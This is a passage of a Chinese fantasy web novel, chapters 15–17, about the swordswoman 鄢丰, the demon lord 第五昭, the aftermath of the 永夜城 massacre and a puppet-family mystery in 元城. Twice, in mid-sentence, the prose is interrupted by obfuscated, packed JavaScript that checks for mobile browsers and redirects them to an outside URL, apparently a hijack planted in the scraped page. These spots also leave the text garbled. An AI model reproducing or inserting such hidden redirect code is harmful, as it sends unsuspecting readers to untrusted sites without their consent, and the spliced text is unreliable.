剑飞回鄢丰手中,此刻那只仅剩的左手,颤抖却坚定的直直—— 指向他自己。 两人都没了力气,永夜花被巨大的力量击倒,身后则是永夜城的尸山血海,两人就这样静默的相对而立,血从第五昭七窍蜿蜒而下,好像一幅破碎的画像。长剑抵住他的咽喉,却再也不得寸进。 “你很强……”他几乎失声,只发出几个气音,嘴一张一合似乎还在说什么,却在片刻之后,砰的一声歪过身子,重重落地。 . 永夜城终如其名永夜。 长夜无明,任何一丝属于生命的气息也无。 拥挤的山巅,只剩一女子,掩面痛哭,发出压抑的低鸣。 魔纹在她的颊边若隐若现,与脸颊上那一道伤交相辉映,显得妖冶无比。 鄢丰失神的提着剑,眼前却升起一朵巨型永夜花来! 她麻木而决绝的提起剑来,前所未有的强大剑气将山巅照得亮如白昼,她斩出一剑又一剑,不断地前行,逡巡在这一隅的山巅,心魔的耳语都淹没在响亮的剑招声里,只有滔天杀意弥漫不散。 鄢丰只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她站在那里,整个人形销骨立,没一块好肉,却握紧了剑。 她麻木的转动眼珠,立于天地之间,久久不动,好像已然逝去。 妖兽和师门的同袍尽数死去,只有她站在鲜血之中,静默的好像这世界从未有过什么声音。 鄢丰找到贺灵的时候,她还仍然站在那里,绝望干枯的眼睛,看到鄢丰才微微鲜活了一分。 她却突然笑起来,嘴巴一张一合,听不清话语,高高举起剑来,却一瞬不瞬的死死看着她。 “……师姐?” 贺灵一生难得露齿而笑,咧开嘴,璀璨如烟花:“嗯。” 长剑灌满灵气,便在下一刻毫不犹豫,贯穿了她自己的心脏。 她失力的被鄢丰抱住,像那天她接她从登仙梯回师门一样。 “你不明白……”贺灵闭上眼睛,呼吸渐渐变得微弱,像母亲曾给她讲睡前故事那样,轻声的说着,“可是我们的丰儿啊,总有一天,会面临这样的境况的。你要记得啊,要记得……” “我们救不了所有人……即便是你也不能啊,‘鄢丰‘。” 鄢丰抱着师姐冰凉地身体,眼泪已流尽了。 她觉得难过,和不解。 那会是怎样艰难的选择呢? 艰难到,舍弃性命,也不肯面对。 心魔日日夜夜地折磨拷问着她,一遍一遍想要问问已溘然长逝的贺灵—— 你为什么可以毫不犹豫地,抛弃我们其他的人呢? 又为什么毫不犹豫,将你说的那些责任,全都在一瞬间,推卸而去? 但是心魔,拷问的,终究只是你自己而已。 . 永夜城没有留下活口。 来人一身黑衣,与夜色浑然一体。 只眉心一点朱砂痣,分外显眼。 山上,东倒西歪、数不清的尸体,连那尊贵的魔君,此刻不也是同这些低贱的生命一同葬身于这永夜之地的乱葬岗上吗? 他折扇掩面,笑了笑,又瞧见不远处眉头皱成川字,口中不住说着什么话,似乎梦魇缠身,不得醒来的凡间女子。 他一步一步走过去,不急不缓,没有低头,却精准避开脚底脏污的一滩滩血泊,最终站在她面前,饶有兴致的看着鄢丰脸上的魔纹,指节分明的手指一遍遍描画勾勒着。 “我真想看看你,这高洁、伟大、天赋异禀的人,身染魔气,神智全无,屠尽人间的模样啊……一定很美吧?” 他似乎有些苦恼的看着她:“这是我见过最漂亮的魔纹了……可惜,我现在还有更重要的是。不过,”不过片刻,他又转悲为喜了,“我可以帮你……加把火哦。” . 15. 傀儡(上) . “属下跑遍了那些还立场不明的城,却没有一家肯派兵来……”他叹口气,“只道此行未有结果便罢,却不想还是让君上遇到危险,险有性命之忧啊。” 温石坐在第五昭床边,一一汇报着几日来外界的状况。 第五昭自打在永夜之地违反了心魔誓,以为自己必死无疑,却不想到现在距离那一日也不过十日的光景。 外界是如何传的当然毫无悬念。 整座永夜城,活下来的就只有入住城主府的第五昭一行人,那一日永夜之地上除了失去神智的居民,也只有第五昭和鄢丰两个人在而已。 如今当然话柄已经落下,无论事实如何,是否存在隐情,他嗜杀暴戾,屠灭了整个永夜城的事情堪称证据确凿。 城外,自然有愤愤不平之士、早对他多有不满之人、他的各路仇敌,纷纷集结起来,要取他性命。 而为首的不是什么其他人,正是前任魔君第五长渊曾经最得力的手下,鸿羽。 而另一部分中立的城,即便不愿参与战争,也不可能帮助如他这般绝对说不上称职的魔君。 “那件事呢,可有探查到什么?” 温石点点头,却噤声看向门的方向,果不其然下一刻叩门声响起,鄢丰推门而入。 十天以来,最让人觉得意外的莫过于,当时的状况,唯一一个可能活下来的鄢丰反而比他沉睡的时间更长。 鄢丰才刚从一场又一场的噩梦之中挣脱,睁开眼睛看着雕花精致的天花板,差点恍了神。 她换好衣物找过来,此刻怔怔地看着第五昭。 第五昭笑了笑:“我没有死,是不是让你失望了?” 鄢丰蹙起眉—— 心魔誓不可能在一方违反的情况下留下他的性命,从古至今从无意外。 温石早从第五昭口中听说了当时的事情,看着鄢丰的神色,问:“姑娘有何见解?” “……阿昭当日杀了永夜城全城的人,乃是我亲眼所见。我与他的心魔誓,也由我亲自施术,不可能出差错。心魔誓的效力也自不必说,天道掌管,不存在例外。我能想到,只有一种可能——他杀的那些,不是人。” 在场三人对视一眼,答案早已呼之欲出。 “那就是……” “——第五昭,出来!” 鄢丰话音未落,门竟突然应声倒下,闯进一明眸善睐的少女来—— 细细辨认,正是拜师礼那一日硬闯魔宫的少女。 第五昭几乎下一瞬间就从床上闪到了少女面前,眯起眼睛,面色不善的看着来人:“你就这么想死?没礼貌的小姑娘。” 少女不退反进,又向前逼近一步,眼中毫无惧意:“你如今杀了我,定要追悔莫及。” 温石见到她却愣了一下,也走上前拜了一拜:“原来是元城少主大人来访,有失远迎。别来无恙。” 少女挑起眉审视他:“好客气呀,右使大人。真希望不久前在你魔宫门前,也能如今天这般呢。” 温石面不改色作揖:“职责所在,多有得罪,还望少主见谅。少主远道而来,想必有要事相谈吧?” “不错,”她环视四周,昂起头,扬起红艳艳的唇,“客人来访,不招待一下吗?” . 待客厅内,第五昭与那少女分坐中间两座,温石与鄢丰次之。 少女家姓阮,名小竹,乃是魔域第二大城,元城如今的少主人。她身后一直便跟着上回见过的那位少年,不言不语,却看得出训练有素,不是好对付的。 她坐在座上,只不紧不慢吹着茶盏上细碎的茶沫,半天一句话也不曾讲。 少女来意不明,温石与第五昭各怀心思,也不说话,只默默思揣着。 半晌,少女饮尽杯中茶,终于开了口:“看在这茶确实是顶顶好的份儿上,我便直说了,”她转过头,毫不畏惧地对上第五昭审视地眼光,“听闻十日前,温右使大人曾到访元城,想同我家谈一场合作。” 温石与第五昭同时变了脸色,抬眼一瞬不瞬看向她。 她似乎是享受这样的目光,不无得意的笑了起来:“我爹当日未曾答应,只说容些时间考虑,谁承想右使大人不日便告辞了,这笔合作算是没成。可是,如今,我元城带了诚意来,想要再一次,促成这场合作。” “诚意?” 第五昭低下头,晃动茶盏,饶有兴致的问。 “不错,阿桑,”少女拍拍手,接过身后少年手中的令牌,晃了晃,缓缓道,“我元城几百年来,虽远离纷争,但为求自保,也培养出一批死士来。该组织名叫鸣凤,而拿着这枚令牌,自可以号令他们,为君上所用。” 她第一次用了敬语,眼中的桀骜却还是没能掩住,只道:“可是,君上的诚意,又何在呢?” 第五昭调整了坐姿坐正了些,显然对她的说法很有兴趣:“诚意,你们想要什么?倒不是不能考虑。不过,比起这个,” 他扫了一眼温石,道,“我倒是更想知道,是什么让你不远千里到我这里来,促成这样一笔生意?同本君合作,便是……” “同魔域多数人作对,你们不明白?” 少女微微一笑:“君上明白便好,如今是我元城,愿意施恩于您。当然,更重要的是,听说了君上您,屠灭整座永夜城的光辉事迹呐。”她有点讽刺又有三分挑衅看向第五昭。 她环视四周,最终目光停在鄢丰身上:“在座可都是君上信任之人?” 瞬间所有人的目光都锁定了她。 第五昭看了她片刻,鄢丰了然的站起身,准备离开,他却嗤笑一声:“不必顾虑她,你说便是。” 少女点点头:“我年少时,游历魔域,也曾经到过永夜城。君上嗜杀之名魔域皆知不假,然而,若是当真要屠城,绝不该等到进城一整天的夜晚,何况是,在永夜之地这样蹊跷的地方。” “君上多半是遇到了吧,永夜花,有异常。” 第五昭眯起眼。 “我那一年来好奇到过那里,也刚好遇到一朵变异的永夜花袭击我与阿桑,”她目光似乎变得有些哀伤,回头看了一眼身后的少年,后者笑着摇摇头,表示不在意,她却不再继续,只道,“那永夜花借着上古之神的禁制被人动了手脚,这些年来我一直想查,这事却扑朔迷离,根本找不出头绪来。” “这就是你的条件?” 阮小竹哂笑:“几百年我也查不出的东西,我不指望君上能做到呢。只是,如今那鸿羽一军声势浩大,似乎早将君上这一次的行为算到了,也听说他与永夜城合作,永夜城一马当先,却迟迟等不到援军来救……”她看向第五昭,“第五昭,你听清楚,我不是信任你,或是站在你这一边,”她低低叹一口气,“我谁也不相信。只是,对方以一城百姓性命作为自己声势的借口,冠冕堂皇,虚伪至极,元城不愿站在你这一边,却更不愿意,站在这样的人那一边。” “乱世之中,元城作为第二大的城,岂能独善其身?” 她起身站在第五昭面前,郑重地跪下来,一拜,再拜,三拜—— “愿倾元城之力,助君上平叛乱。” “如此,君上可能放下心,相信我们了?” “当然,”温石与第五昭对视一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557266|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开了口,“君上也当拿出我魔宫的诚意来。温石但凭姑娘差遣。” “不,我要你,亲自同我到元城去!”她直直指着第五昭,“我要你,同我一起,查一桩震惊整个元城的,傀儡世家灭门案。” 听到这一句,在场的三人不约而同对视了一眼。 如果当日杀死的,全都不是人。 那么唯一的一种可能便是—— 傀儡。 . 元城的城池巍峨耸立,要高高仰起头,才能看到龙飞凤舞的额匾。 飞沙走石,元城的郊外竟意外的萧条,显出风沙蔓延的肃杀感来,全然体会不到魔域第二大城的繁华热闹来。 温石和第五昭都蹙起眉来,放慢脚步,听着耳边不时刮起的风,不觉警惕起来。 直到随着阮小竹进了城才感觉到,元城其车水马龙,人来往不绝。 然而终归与永夜城喧嚣的风格不同,暗色调的街市,只有几盏微弱的灯照亮前路,人们虽然往来不断,却鲜少交谈,多是各办各事,又很快离开。 一路上都蔓延着一种有序的安静。 第五昭和温石仍在观察着城中的状况,对视一眼,温石开口:“阮姑娘,我们可要找个地方先歇歇脚?” 阮小竹不耐的回头:“你们哪得这么矫情……” 忽地间二人身后远方红光大盛! 阮小竹话没讲完,便同阿桑朝着那光源处而去。 “什么人,竟敢在我元城的地盘上撒野!” 长鞭的速度比她说话的速度更快,只见进城门口处,一只巨大的妖兽张开血盆大口,庞大的身躯下竟有一少女,脸上布满泪痕,仍在奋力逃跑,那妖兽在这一鞭下停了停,给了少女喘息的时间,她看到来的救星,拼了命的跑来! 谁知地上石块凹凸不平,急切之间竟跌了一跤!那厢妖兽也躲开了鞭子的攻击,只一步便追上了少女百步的距离,尖利的爪子将她抓住,就要送入口中。 “缩头鼠辈,还不速速现身?” 阮小竹一边说着,一边飞速闪身到妖兽身后,长鞭竟然可以无限延伸,将它一圈圈缠住,她抬起头看向那已然被吓得昏迷的少女,借力攀上妖兽巨大的身体,却有一个人比她更快,耀眼的剑光精准而利落的将那妖兽一分为二! “姐姐,等等!” 然而鄢丰此刻已然收了剑,少女断线风筝般的身体被她接住抱在怀里,看向眼前突然出现的少年。 正是永夜城中,那被人追杀的少年。 他似是从远处那棵枯树下跳下来的,可方才分明看不到任何异常。 阮小竹也利索的跳下来,愠怒看着他:“在我元城的地盘害人,你好大的胆子!” “冤枉啊,姐姐,”少年抬起双手,指指身后那已然化为原型的妖兽,残损的身体隐约能看出原身只是一只小奶猫,“虽然是我把它捡来养着玩的,但是却不是我把它变成这样的。” “那还能是谁?她吗?”阮小竹指向昏迷的少女,“你莫再狡辩,我看还是到牢里面同牢狱司的人分辨去吧!” 少年看看阮小竹,又看看鄢丰,可怜巴巴拽住鄢丰:“姐姐,你帮我评评理啊……” 鄢丰低下头看着怀中的少女,不语。 阮小竹冷笑一声,已经伸出长鞭,牢牢缠住他的身子,少年却耸了耸肩,一缩身子竟如泥鳅般滑了出去,飞身一跃出去好远。 阮小竹眉眼一沉。 “你给我站住——” 回应她的就只有少年远远回荡的声音: “姐姐,我们后会有期!” . 16. 傀儡(中) . 阮小竹还欲追,却被阿桑按住手腕,后者朝她微微摇头。 “也罢,今日我们还有要事在身,啧……”阮小竹忿忿的看着少年逃离的方向,“别让我逮到他!” “对了,你方才那一招可有名字?我从未见过这样强的剑招!是吧,”阮小竹看向阿桑,“阿桑?” 阿桑原来是阮小竹的弟弟,按理说他才应该是元城名正言顺的少主,然而,就因为幼年时两人结伴到永夜城,被那永夜之花意外袭击,受到魔气侵染,回到家中高烧不退,找遍良医也都束手无策,最终总算好了起来,却也武力大大下降,还再也发不出声音来。 解铃还须系铃人,阮小竹几百年来便一直在追查永夜城的真相,仍希望有朝一日能够为阿桑治好病。 阿桑反而很腼腆,只是点点头。 “剑招哪有名字呢,击中要害的剑招就是好的剑招,如此而已。” “你真有趣!”阮小竹笑了一声,“等此间事了,你能不能陪我也过过招?” 鄢丰微微一笑:“……若我们有缘再见,自然是可以的。” 他们再次进了城,第五昭和温石此刻松弛了下来,显然是趁他们离开的这段时间仔细查探过了,才放下戒心。 “这是谁?”第五昭看着此刻被阿桑背着的仍在昏迷的少女,蹙眉,“既有要事,就别再横生枝节。” “横生枝节?”阮小竹冷笑,“说得轻巧,可知若能救人一命,那便是顶顶要紧的事。” “不知少主打算如何安顿这位姑娘?”温石问道。 这下阮小竹也有些犯难,想了想道:“你们在这里等我一下,我去找找别人帮忙照看一下吧。……应该很快,我的私宅离这儿很近。阿桑,走!” 鄢丰三人却在原地等了半天,才看到阮小竹匆匆而来的身影。 她神色有些不自然,却很快掩饰去,笑道:“久等了,我们走吧。” 鄢丰看了眼她身后,问:“阿桑不同我们一起?” 阮小竹默了默,最终还是苦笑一下,坦言道:“我方才到我家私宅去找我的管家,谁知半天没找着人……好在那宅子什么东西都齐全,我便叫阿桑留下照看了。” 鄢丰闻言蹙眉,正要开口,却又听她道:“不用担心,我这管家平日总是神龙见首不见尾的,正事要紧,我带你们去足矣。” 鄢丰若有所思的点点头。 . 鄢丰一路走来,听到不少关于这傀儡世家的传说。 林林总总分不清真假,只是这桩灭门案确实耸人听闻,只一夜之间,整个宅子里所有的人都凭空消失,不留一点儿痕迹。乃至于有些人神乎其神的说,这是遭了天谴了。 总之,这傀儡世家在魔域显然是很有知名度的,然而他们一路兜兜转转拐了好几个弯,最终在一个杂树丛生,遮天蔽日的森林面前停住了。 鄢丰暗暗一惊,阮小竹回过头:“傀儡祁家,就在这一处。”她看鄢丰久久不言语,解释道,“虽然祁家是久负盛名,但是毕竟独享一门技艺,难免有人觊觎,因此落脚在山上,布置迷阵机关,以防外人入侵。” “我们还要过一个迷阵?”鄢丰看着远远的雾气,问道。 “不必,毕竟也是要生存,祁家总要接生意的,总要设置些平坦道路供人光顾,只是秘而不宣罢了。”阮小竹昂起头,“而我阮家呢,不巧正是这常来的主顾之一。” 阮小竹似乎真是常来,轻车熟路,从身旁一棵树背后的一个不起眼的小树洞轻轻一碰,竟变出一条刚够一人通过的蹊径来,前路看起来黑漆漆的,不见一点儿光,阮小竹却毫不犹豫弯下身子钻了进去。 毕竟在黑暗中,每个人都保持着一点警惕心。 然而果真没有半点机关重重的样子,一行人悬着心走了不知多久,直到黑暗将近,看到前方光线传来也没有任何意外发生。 四人跨出黑暗,阮小竹的脚步停了下来。 第五昭早走得不耐烦,问:“到了?” 却听阮小竹道:“是快到了,不过还得走一段。我只是想先提醒一下,”她回过头来将三人一一看过,才道,“这毕竟是傀儡祁家,品味古古怪怪的不足为奇。待会你们看到那些,可别吓着了。” 第五昭嗤笑一声。 “你可别不信,我还没见过有人头回见到能不变一变脸色呢。我也很期待哦,君、上。” 阮小竹似乎是念了什么咒语,空中才显出一座吊桥连接两岸。 众人经过方才的试探也放下了心,都从容的走过,很快进入一座华丽的宫殿。 而真正引起人注意的,是其中的东西。 “他们都管这里叫博物馆,过了这博物馆就到他们内部啦。” 鄢丰一进去便感到一股巨大的冷气,内中陈列的东西整整齐齐一列列竖着摆放,只定睛一看才让人震惊——那是一座座巨大的棺材! 第五昭和温石却没什么反应,只笑了笑。 走近了看,便见这棺材的木料全是上好的梨花木早就,棺材内盛满剔透的液体,也或许就是水,一个个闭着眼睛的人好像睡着了,沉沉躺在里面。 鄢丰本心里一惊,莫非是杀了这许多人? 然而又想起傀儡的制作方式—— 以死人的真正的血肉拆解重组糅合而成新的肉身,再以傀儡家独门秘传的技艺雕刻一枚精巧的机械心置入其中,便能行动自如如真人一般,当然,只是看起来,终归是听从主人的命令行事。 大约这都是这个祁家从外面买来或捡来的没人要的尸体吧。 棺材虽隔着玻璃,其中的人却个个面目清晰的呈现在人眼前。 鄢丰和第五昭却同时停在了一座棺材面前,后者更是脸色骤变,不觉后退一步,苍白的脸一下子一丝生气也无,眼眸一会黑一会红不断地变换个不停,浑身都在颤抖,魔气失控地外溢。 温石跟在他身后,也看到这一副棺材,大惊失色,不由得看了鄢丰一眼:“这是……” 同样素净的眉眼,乌黑的长发,温柔的神情,只是面色更白,身形更瘦些—— 正是鄢年的模样! “她怎么会……” 鄢丰睁大眼睛,却发现眼前突然好像蒙了一层白纱一样变得模糊起来,这纱越来越厚、越来越厚—— 大厅里竟突然出现了一阵不寻常的雾气,正慢慢将那副棺材严严实实的遮盖住,愈来愈浓,把每个人都用纯白的色彩隔离开来。 被雾气淹没前,鄢丰下意识看向阮小竹,却对上她同样震惊的神色。 ——“幻阵,怎会出现在这里?” . 第五昭遇到鄢年的那一日,狼狈非常。 他被人扔在人魔交界之地,对方恶劣的特地将他放到灵气最浓的地方,他此刻魔气肆意冲撞身体和灵魂,与外界的灵气更是水火不容,两种对立相冲的气息此刻让他感到又冷又热,仿佛置身阿修罗地狱之中。 若这世间真有地狱存在,业火烧灼,恐怕也不如他此刻痛苦的千分之一。 奄奄一息的第五昭趴在地上,知道自己不会死。 但是假如他还能活下来,地狱也趟过,鬼门也闯过,千般苦楚都已经尝遍了,从今往后,他再无所惧。 他要来去随心,要挣脱枷锁,要化己身成为往生之鬼、索命妖魔,再也不给旁人任何一点机会,欺他辱他,以至狼狈至此。 鄢年就出现在此时此刻。 她穿着嫩粉色的衣衫,背上背着个竹筐,似乎常来这边,轻车熟路 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他大惊失色,本能的挣扎着远离那力量的方向,却见鄢年疑惑的歪过头:“你伤的太重啦,我带你回我家里养伤吧?” 这样的话术听过没有几百也有几十,他不回答,只是默默移动着表示着拒绝。 如果她再进一步,即便他已然重伤,散发出巨大魔气杀了她也是不难的。 然而鄢年果真停了下来,默了默,转身离开了。 感觉到杀气了么?人类还是魔族都是如此,感受到危险,自然就会远离。 他讥讽的仰着头,她总算是滚开,免得搅扰自己的清净。 天色近黄昏,第五昭仍然躺着,少女却喘着气回来了。 她不说话,只是慢慢靠近。她进一步,他就退一步。 她最终只能无奈道:“你不愿意跟我回去就算啦,但是,你伤的太重了,我采了些药给你——你别担心,我经常用这些敷伤口,效果都很好的。” 这话却也不管用,最终她停下来,叹口气:“……你这么讨厌人家靠近吗?” 第五昭其实并没有在听她说了什么,只觉得嘈杂吵闹,气声艰难的吐出一个字:“……滚。” 鄢年似乎是听到了,看向他,又看看那草药:“……那,那我把药放在这里,你如果需要,就自己拿来用。我走啦,明天见!” 他望着地上碾好的草药出神,是疗伤的药么,或者是其他什么毒药? 他决定放着不管,就仰躺着看着天从黑变成浓黑。 他后半夜被疼得醒过来,有看到那草药。半天,伤口竟出乎意料感觉疼得无法忍受了一般。 如果真的是伤药呢? 但如果是毒药呢? 也罢,如果是毒药,也不会比现在糟到哪去了吧。 他一呼一吸的喘着气,最终说服了自己,挣扎着过去,又端详了很久,闻了闻,确认那确实是止血疗伤的药草——甚至有几味显然是被人加上去的,以为可以效果更好,但实际上去掉才是对的。 他将那药草勉强敷在最痛的心口处,那里有个大窟窿,打从心被掏出来那天起,便一直没好过。 鄢年从那以后每一天都来看他,他有时候觉着心情好,便用她的草药,心情不好,便故意放着不动。鄢年的心情便也跟着他的变。 分明他们交谈不多,只有一次交换了姓名,但是数着日子过的习惯就这样毫无征兆的土崩瓦解掉了。 遇到她以后,他便不知道时间是怎么过的了。 就只是突然有那么一天,她又问了他一次。 “你要不要回我家去养伤啊,阿昭?” “……好。” . 17. 傀儡(下) . 鄢丰十八岁这年,第一次下昆仑山游历,就被一只妖兽吞掉了整只右臂。 这妖兽十几年来,竟一直被山下的村民奉为神兽,每每年节,都要敬奉贡品,并一对童男童女,以求护佑。 鄢丰是昆仑山最优秀的弟子之一,连自己所铸的甘镬剑,也能将无数名家剑冢所出之剑斩断。 她与同行的伙伴分头行动,却途经此地,自然免不了要为这山村除害。 鄢丰的剑招少有敌手,妖兽也不例外。 它虽身躯庞大,却也笨重,灵智未开,獠牙长了一圈,恶狠狠的张开,鄢丰却身轻如燕,只飞身一刺便直击要害,刺瞎它一只眼睛。 她与这妖兽大战三十回合便要决出胜负,一剑即将斩下它的头颅,取它妖丹,却不想被山下村民喝止。 他们竟似是整个村子都发动了上来,为首的村长正值壮年,提着斧头,朝向的却不是为祸一方的妖兽。 他带头朝着那妖兽三拜九叩,其他人无不一一照做。 “作孽啊,作孽啊!” “快点住手啊,哪里来的小毛孩子,不要多管闲事!” “惹怒了神兽,我们都没好果子吃!你是要害死我们!” 鄢丰第一回下山,还并不理解,瞪大眼睛:“待我为你们斩了这妖兽,村子就太平了。” “你这小姑娘,我们好心留你住在这里,你却非要害死我们不可!” 村长身后的老者颤巍巍指着她,愠怒道,一面恐惧的看向那奄奄一息的妖兽,又跪下一拜:“都是那小姑娘不识好歹,触怒了您,您可万不要怪罪我们啊……” “是啊神兽大人……”是一位婶婶,她平日对鄢丰很好,为她包扎了伤口,此刻却一下一下磕着头,额头都流出血来,“这黄口小儿不知天高地厚,我们过后必加倍敬上贡品,求您饶了我们的村子吧……” 鄢丰愣在原地,可妖兽却不会。它抓住此刻的一线生机,低喝着冲向人群。 刹那间地动山摇,无数人被掀翻在地。 “神兽发怒了!我们都要葬身此处了!” “快跑啊,神兽发怒了!” 人群四散奔逃,却无不面露恐惧的看着神兽,也有些熟面孔怨恨的看向鄢丰。 只有一个小孩儿,被石子绊了一跤,来不及跑开。 妖兽一下将小孩儿衔在嘴里,獠牙深深刺入他轻薄的布衣裳,将麻衣染得一片殷红。 “凌儿!” “娘!娘!呜呜呜哇……娘……救救……我——!” 他的母亲冲出人群,又是惊惶又是不知所措的喊他,欲要冲上去,却被身边的丈夫拉住,摇摇头:“那是神兽要他……”他沉痛的低下头,“这就是他的命。别因为一个人害了我们这个村子啊。” 鄢丰瞳孔一震,握紧手中剑,犹豫茫然顿时一扫而空,不顾村民高声的反对和咒骂,碎步奔跑起来,飞沙走石,肉眼看不清她的动作,只能听到她掷地有声、一字一句道: “阿婶,放心,我今日,必斩了这妖,把凌儿救回来!” 鄢丰脚下不停,身法极快,三两步登上它的身体,对另一只眼睛又是狠狠一刺! 妖兽吃痛的放开咬合的嘴巴,却很快又低下头追赶这最后的筹码! 鄢丰极速下坠,甩出剑气阻拦,一手揽住哭泣不止的小孩,回过头便瞧见那妖兽张着血盆大口,要将自己一口吞吃入腹。 鄢丰视野里几乎只剩那扑面而来的巨大利齿和赤红赤红的口腔,她脚下急转,甘镬剑在空中受她召唤发出铮鸣飞入手中,却不想手中的孩童不知哪来的力气,挣脱她的手臂,踉跄逃走! “……姐姐,你、都是你!你触怒了神兽!”他带着哭腔,却只跑出一步便跌倒,腰上伤得过重,再也起不来,恐惧在那妖兽靠近下无限放大,嘴唇翕动着发不出任何声音。 鄢丰被那妖兽一口吞下,獠牙却被剑抵住无法闭合,妖兽狂躁的踏得地面飞沙滚滚,眼看就要将那小孩一脚踩扁! 鄢丰心下一紧,强忍负重过载的右手的痛感,口中念诀,甘镬剑脱手而出,同时剑在它口腔下一翘,借力将身子用力甩出! 飞出的甘镬剑将将阻住妖兽行动,展开结界。 剑离开口腔,妖兽闭上獠牙,鄢丰身体倒飞而出—— 妖兽只咬住她大半未及逃离的右臂。 浓稠的血腥气弥漫在小小的山上,鄢丰却顾不上白骨淋漓的右臂,左手握住长剑,再不犹豫,将垂死挣扎、濒临极限的妖兽一剑斩杀! . 鄢丰在这山上,和那妖兽早已腐臭的尸体待了很多天。 她本游刃有余,然而右臂被生生咬断,巨大的痛感和失血过多带来的后症,即便拄着剑她也再站不稳,沉沉昏睡过去。 究竟过了几天她也不曾知,每一日来的只有那个小孩的母亲。 她每每来,都带着些剩饭剩菜,小心翼翼、左顾右盼确认没有人才靠近她。 “姑娘,你别见怪……你救了凌儿,可我却……”她还未从后怕中缓过劲儿来,啜泣着道,“他们不让我来,更不让我把你带回村子去,说是……说是你杀了神兽,带你回去,村子就有灭顶之灾……可是、可是……” 她不停的哭,眼泪滴答滴答温热温热的落在鄢丰侧对着她的脸颊上,晕开些未及擦干净的土,显得有些滑稽。 “我只能将这些剩饭带给你,还有这些伤药,我找大夫买了村里最好的,姑娘你留着用……” 鄢丰没什么力气,只是安静的听着,等她说完才问:“凌儿伤势怎么样?” 那女人才勉强笑了一下:“在家好生将养着,已经快好了,姑娘不必挂心……”说到这顿了顿,又哭起来,“倒是姑娘你,这手臂伤得这般重……只怕、只怕再也……呜……” 她猛地坐起来,朝她跪下来,正正的磕了三个响头。 鄢丰动动手指,却无力做出什么其他的动作,只能无奈的笑:“阿婶,您这又是做什么呢,我没事的。” “我只求姑娘你,不要怪凌儿。他还小,不懂事的,他不是故意要那样……” 鄢丰摇摇头,不语。 女人也沉默下来,半晌,她将食物向她一推:“姑娘,我瞒着丈夫和村长他们来的,不能久留,我……” 话说一半,眼泪便又要落下来,目光落在她还刚被她草草包扎的右臂,和那柄银光闪闪的剑。 鄢丰看了她片刻,垂下眸看了一眼身边的剑。 她不说,只怕伤了她,但鄢丰自然知道她所想。 女人转过身,擦干眼泪,朝她笑了一下:“那姑娘,明日……明日我还会来给你送饭的。你放心,我一定会想办法……” 她声音越来越小,顿了顿,眼神倏而坚定起来,鄢丰却打断她,声音沙哑,缓慢、艰难而清晰:“阿婶,你别担心……伤势虽重,但……” 鄢丰终于和她对视一眼,温和的笑了: “我是左撇子。” 女子眼睛一亮,盈满眼眶的泪水决堤而下,她却惊喜的看着她,几乎不敢置信。 鄢丰又微微点点头,女子才终于高兴起来,手抚上心口,不住喃喃着:“太好了……太好了……真是太好了……” 鄢丰目送着她离开。 第二天她便离开了那村子,没等女人再来。 她撕了衣服重新包扎伤口,一步一顿,艰难的朝向昆仑而去。 她一路风餐露宿,足足又半个月才养好身上大大小小的伤口,也看过了大夫,其他的都好说,只有右臂,已然被妖兽吞吃入腹,再无法可接。 回昆仑的路只走了三分之一。 此刻她正站在一棵巨大的白槐树面前,久久出神。 这棵树,她儿时曾无数次同鄢年在这里打闹嬉戏。 鄢丰叹口气,在这里待了很久,末了终于转过身。 她要回昆仑去。 “姐姐?” 鄢丰身体一顿,尝试很多次也没能迈出一步,最终只能回过头,看到日思夜想的、和自己一模一样却又千差万别的面孔:“……年年。” . 住在鄢丰一家隔壁的,是他们村里唯一的大夫一家,姓王。 王家大夫膝下只有一个独子,大家都管他叫王麻子,只因他脸上长满雀斑。他和鄢年、鄢丰两人年纪相仿,小的时候常常一起玩。 鄢年见了她受伤便着急拉着她来,然而不想进门便见着了这人,他没瞧见身后的鄢丰,只揶揄嘲讽的看着鄢年:“你该不会是又带了个魔种回来了,要我爹看罢?你当我们家是什么人都给看?告诉你,你,和你身边那个小魔种,都滚!离我们家远远的!滚出去!” 鄢丰眉头一蹙,正要开口,鄢年却一握她的手,盈盈一笑:“……是我姐姐回来了,你能帮她看看伤吗?” 一听“姐姐”两个字,王麻子便哈哈大笑起来:“姐姐?哈哈哈哈哈哈,你那个姐姐,她小小年纪就被带回昆仑修仙去了,你还当她真会回来找你?人家一朝飞升成仙,还认不认得你这妹妹都说不准,你少唬我!” 空气沉默了半晌,他才似乎突然见到鄢年身后的鄢丰,看清容貌才一惊,神色直变了三变,瞪大眼睛:“……鄢丰?!真的是你?!”他先是一惊,然后摸着脑袋笑起来,谄媚之色毕露,“瞧我,咱们多年的朋友,刚刚开个玩笑……快请快请进来啊,爹——爹!鄢丰!鄢丰回来啦!” 进了屋子王麻子才看见鄢丰几乎从肩而断的右臂,审视了半天,欲言又止,神色又变得傲慢起来,半晌看到他爹来了,才晃着脑袋,状似漫不经心的问道:“你……不会是断了右胳膊来找我爹看吧?” 鄢丰点点头。 王麻子并他同来的爹娘一家又突然变了脸色,个个皱紧眉头,时不时发出一声叹息来,最终故作高深的死盯着她的右臂,才摇摇头:“治不了。” 鄢年正要开口说点什么,鄢丰反而先不耐起来,温和的笑了笑,拉着她站起来:“我无碍。既然王医生也治不了,我们便告辞了,打扰。” “哟,瞧瞧,这去昆仑修过仙的就是不一样,这说起话来啊,一套一套的,文绉绉的很呢!”王夫人早想开口,此刻见她这样说,尖酸的高声道。 鄢丰和鄢年同时回头,王麻子突然站起来推着二人往前走:“别见怪啊,我娘她没见过你们这大宗门的气派……说话直了些,但没有恶意的。” 他顾左右而言他半天,将两人送到门口,偷偷问鄢丰:“鄢丰,你这右手要是废了……使不了剑了,昆仑还收你吗?” 鄢丰一蹙 